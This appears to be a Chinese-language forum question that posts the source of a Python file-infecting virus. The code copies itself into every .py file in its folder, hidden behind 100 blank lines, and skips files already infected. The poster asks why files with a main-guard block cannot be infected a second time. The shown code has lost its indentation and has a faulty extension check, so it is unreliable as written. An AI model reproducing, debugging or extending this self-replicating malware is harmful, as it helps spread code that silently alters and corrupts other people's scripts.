代码如下
#python infector
import os
def infect(filename,top_distance,self_length,blank_line=100):
infector = ''
self_check_string = 'def infect(filename,top_distance,self_length,blank_line=100):\n'
with open(filename,'r',encoding='utf-8') as target:
target_string = target.read()
with open(__file__,'r',encoding='utf-8') as self_file:
self_file_list = self_file.readlines()
if self_check_string in target_string:
pass
else:
linenumber = self_file_list.index(self_check_string) - top_distance
for line in self_file_list[linenumber:linenumber + self_length]:
infector += line
with open(filename,'a') as target:
target.write('\n' * blank_line + infector)
path = os.path.dirname(os.path.abspath(__file__))
filelist = os.listdir(path)
for i in filelist:
if os.path.splitext(i)[1] == ('.py' or '.pyw'):
infect(i,3,24)
但目前有一个问题,有如下代码的文件无法二次复制:
if __name__ == '__main__':
......